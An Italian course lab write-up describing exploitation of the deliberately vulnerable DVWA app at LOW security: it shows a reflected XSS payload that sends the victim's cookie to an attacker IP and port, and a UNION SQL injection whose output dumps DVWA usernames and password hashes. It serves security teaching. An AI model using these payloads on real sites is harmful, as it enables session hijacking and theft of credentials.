



# W13D5

EXPLOIT DVWA - XSS E SQL INJECTION

# La traccia

Configurate il vostro laboratorio virtuale per raggiungere la DVWA dalla macchina Kali Linux (l'attaccante). Assicuratevi che ci sia comunicazione tra le due macchine con il comando ping.

Raggiungete la DVWA e settate il livello di sicurezza a «LOW».

Scegliete una delle vulnerabilità XSS ed una delle vulnerabilità SQL injection: **lo scopo del laboratorio è sfruttare con successo le vulnerabilità con le tecniche viste nella lezione teorica.**

La soluzione riporta l'approccio utilizzato per le seguenti vulnerabilità:

- XSS reflected
- SQL Injection (**non blind**)

# La consegna

## XSS

1. Esempi base di XSS reflected, i (il corsivo di html), alert (di javascript), ecc
2. Cookie (recupero il cookie), webserver ecc.

## SQL

1. Controllo di injection
2. Esempi
3. Union

Screenshot/spiegazione in un report di PDF

# XSS Reflected

Proviamo a sfruttare un punto di riflessione, applicando alcuni comandi nei punti di riflessione per vedere se la webapp risponde a tali comandi:

**Vulnerability: Reflected Cross-Site Scripting**

What's your name?

Hello *pippo*

**More info**

<http://hackers.org/xss.html>  
[http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)  
<http://www.cgisecurity.com/xss-faq.html>

**Vulnerability: Reflected Cross-Site Scripting**

What's your name?

Hello *pippo*

**More info**

<http://hackers.org/xss.html>  
[http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)  
<http://www.cgisecurity.com/xss-faq.html>

192.168.100.4

XSS

OK

# XSS Reflected

Con questo comando:

```
<script>window.location=«http://192.168.50.2:5555/?text»+document.cookie</script>
```

Digitato nel campo faccio in modo che la vittima si colleghi all'indirizzo dell'attaccante per rivelargli la sua sessione tramite l'invio di cookie.

# Attuazione attacco SQLi

1' or 1=1 UNION SELECT user,password FROM users-- -

## Vulnerability: SQL Injection (Blind)

User ID:

ID: 1' UNION SELECT user,password FROM users-- -  
First name: admin  
Surname: admin

ID: 1' UNION SELECT user,password FROM users-- -  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user,password FROM users-- -  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user,password FROM users-- -  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user,password FROM users-- -  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user,password FROM users-- -  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99